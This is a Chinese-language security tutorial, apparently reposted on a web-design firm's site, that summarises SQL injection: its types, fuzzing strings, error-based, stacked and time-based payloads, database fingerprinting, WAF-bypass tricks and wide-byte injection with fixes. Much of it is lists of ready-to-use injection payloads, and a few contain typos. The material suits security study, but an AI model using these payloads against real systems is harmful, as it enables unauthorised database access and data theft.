這篇文章主要介紹“WEB安全中SQL注入漏洞的知識點有哪些”,在日常操作中,相信很多人在WEB安全中SQL注入漏洞的知識點有哪些問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”WEB安全中SQL注入漏洞的知識點有哪些”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!
成都創(chuàng)新互聯(lián)服務(wù)項目包括河池網(wǎng)站建設(shè)、河池網(wǎng)站制作、河池網(wǎng)頁制作以及河池網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,河池網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到河池省份的部分城市,未來相信會繼續(xù)擴大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!
SQL注入漏洞
3.1.1. 注入分類
SQL注入是一種代碼注入技術(shù),用于攻擊數(shù)據(jù)驅(qū)動的應(yīng)用程序。在應(yīng)用程序中,如果沒有做恰當?shù)倪^濾,則可能使得惡意的SQL語句被插入輸入字段中執(zhí)行(例如將數(shù)據(jù)庫內(nèi)容轉(zhuǎn)儲給攻擊者)。
3.1.1.1. 按技巧分類
根據(jù)使用的技巧,SQL注入類型可分為
● 盲注
布爾盲注:只能從應(yīng)用返回中推斷語句執(zhí)行后的布爾值
時間盲注:應(yīng)用沒有明確的回顯,只能使用特定的時間函數(shù)來判斷
● 報錯注入:應(yīng)用會顯示全部或者部分的報錯信息
● 堆疊注入:有的應(yīng)用可以加入 ; 后一次執(zhí)行多條語句
● 其他
3.1.1.2. 按獲取數(shù)據(jù)的方式分類
另外也可以根據(jù)獲取數(shù)據(jù)的方式分為3類
● inband
利用Web應(yīng)用來直接獲取數(shù)據(jù)
如報錯注入
都是通過站點的響應(yīng)或者錯誤反饋來提取數(shù)據(jù)
● inference
通過Web的一些反映來推斷數(shù)據(jù)
如布爾盲注和堆疊注入
也就是我們通俗的盲注,
通過web應(yīng)用的其他改變來推斷數(shù)據(jù)
● out of band(OOB)
通過其他傳輸方式來獲得數(shù)據(jù),比如DNS解析協(xié)議和電子郵件
3.1.2. 注入檢測
3.1.2.1. 常見的注入點
● GET/POST/PUT/DELETE參數(shù)
● X-Forwarded-For
● 文件名
3.1.2.2. Fuzz注入點
● ' / "
● 1/1
● 1/0
● and 1=1
● " and "1"="1
● and 1=2
● or 1=1
● or 1=
● ' and '1'='1
● + - ^ * % /
● << >> || | & &&
● ~
● !
● @
● 反引號執(zhí)行
3.1.2.3. 測試用常量
● @@version
● @@servername
● @@language
● @@spid
3.1.2.4. 測試列數(shù)
例如:
http://www.foo.com/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回。
3.1.2.5. 報錯注入
● select 1/0
● select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
● extractvalue(1, concat(0x5c,(select user())))
● updatexml(0x3a,concat(1,(select user())),1)
● exp(~(SELECT * from(select user())a))
● ST_LatFromGeoHash((select * from(select * from(select user())a)b))
● GTID_SUBSET(version(), 1)
3.1.2.5.1. 基于geometric的報錯注入
● GeometryCollection((select * from (select * from(select user())a)b))
● polygon((select * from(select * from(select user())a)b))
● multipoint((select * from(select * from(select user())a)b))
● multilinestring((select * from(select * from(select user())a)b))
● LINESTRING((select * from(select * from(select user())a)b))
● multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函數(shù)的報錯注入在MySQL 5.5.49后的版本已經(jīng)不再生效,具體可以參考這個 commit 95825f 。
而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復(fù),在5.5.x較后的版本中同樣不再生效。
3.1.2.6. 堆疊注入
● ;select 1
3.1.2.7. 注釋符
● #
● --+
● /*xxx*/
● /*!xxx*/
● /*!50000xxx*/
3.1.2.8. 判斷過濾規(guī)則
● 是否有trunc
● 是否過濾某個字符
● 是否過濾關(guān)鍵字
● slash和編碼
3.1.2.9. 獲取信息
● 判斷數(shù)據(jù)庫類型
and exists (select * from msysobjects ) > 0 access數(shù)據(jù)庫
and exists (select * from sysobjects ) > 0 SQLServer數(shù)據(jù)庫
● 判斷數(shù)據(jù)庫表
and exsits (select * from admin)
● 版本、主機名、用戶名、庫名
● 表和字段
確定字段數(shù)(Order By Select Into)
表名、列名
3.1.2.10. 測試權(quán)限
● 文件操作
讀敏感文件
寫shell
● 帶外通道
網(wǎng)絡(luò)請求
3.1.3. 權(quán)限提升
3.1.3.1. UDF提權(quán)
UDF(User Defined Function,用戶自定義函數(shù))是MySQL提供的一個功能,可以通過編寫DLL擴展為MySQL添加新函數(shù),擴充其功能。
當獲得MySQL權(quán)限之后,即可通過這種方式上傳自定義的擴展文件,從MySQL中執(zhí)行系統(tǒng)命令。
3.1.4. 數(shù)據(jù)庫檢測
3.1.4.1. MySQL
● sleep sleep(1)
● benchmark BENCHMARK(5000000, MD5('test'))
● 字符串連接
SELECT 'a' 'b'
SELECT CONCAT('some','string')
● version
SELECT @@version
SELECT version()
● 識別用函數(shù)
connection_id()
last_insert_id()
row_count()
3.1.4.2. Oracle
● 字符串連接
'a'||'oracle' --
SELECT CONCAT('some','string')
● version
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
3.1.4.3. SQLServer
● WAITFOR WAITFOR DELAY '00:00:10';
● SERVERNAME SELECT @@SERVERNAME
● version SELECT @@version
● 字符串連接
SELECT 'some'+'string'
● 常量
@@pack_received
@@rowcount
3.1.4.4. PostgreSQL
● sleep pg_sleep(1)
3.1.5. 繞過技巧
● 編碼繞過
大小寫
url編碼
html編碼
十六進制編碼
unicode編碼
● 注釋
// -- -- + -- - # /**/ ;%00
內(nèi)聯(lián)注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別
e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
● 只過濾了一次時
union => ununionion
● 相同功能替換
● 函數(shù)替換
substring / mid / sub
ascii / hex / bin
benchmark / sleep
● 變量替換
user() / @@user
● 符號和關(guān)鍵字
and / &
or / |
● HTTP參數(shù)
HTTP參數(shù)污染
id=1&id=2&id=3 根據(jù)容器不同會有不同的結(jié)果
HTTP分割注入
● 緩沖區(qū)溢出
一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理。
● 二次注入有長度限制時,通過多句執(zhí)行的方法改掉數(shù)據(jù)庫該字段的長度繞過
3.1.6. SQL注入小技巧
3.1.6.1. 寬字節(jié)注入
一般程序員用gbk編碼做開發(fā)的時候,會用 set names 'gbk' 來設(shè)定,這句話等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞發(fā)生的原因是執(zhí)行了 set character_set_client = 'gbk'; 之后,mysql就會認為客戶端傳過來的數(shù)據(jù)是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執(zhí)行的。但是直接用 set names 'gbk' 的話real_escape是不知道設(shè)置的數(shù)據(jù)的編碼的,就會加 %5c 。此時server拿到數(shù)據(jù)解碼 就認為提交的字符+%5c是gbk的一個字符,這樣就產(chǎn)生漏洞了。
解決的辦法有三種,第一種是把client的charset設(shè)置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數(shù)據(jù)庫的連接里面,就不會出現(xiàn)這個問題了。第三種就是用pdo。
還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數(shù)據(jù)庫比較會等于admin。
到此,關(guān)于“WEB安全中SQL注入漏洞的知識點有哪些”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識,請繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>
名稱欄目:WEB安全中SQL注入漏洞的知識點有哪些
URL標題:http://weahome.cn/article/gccsjc.html